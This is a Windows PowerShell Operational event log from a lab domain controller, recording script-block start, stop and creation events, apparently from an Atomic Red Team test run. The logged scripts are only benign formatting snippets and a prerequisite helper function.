TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478213
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478211
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478210
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478209
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478206
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478204
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478203
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478200
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478199
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478198
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478197
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478195
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478192
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478191
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478189
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478188
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478187
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478184
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478183
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478182
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478181
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478178
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478177
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478176
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478174
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478172
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478170
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478169
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478168
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478166
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478164
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478163
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Get-PrereqExecutor ($test) {
if ($nul -eq $test.dependency_executor_name) { $executor = $test.executor.name }
else { $executor = $test.dependency_executor_name }
$executor
}
ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Get-PrereqExecutor.ps1
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478162
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478161
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478160
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
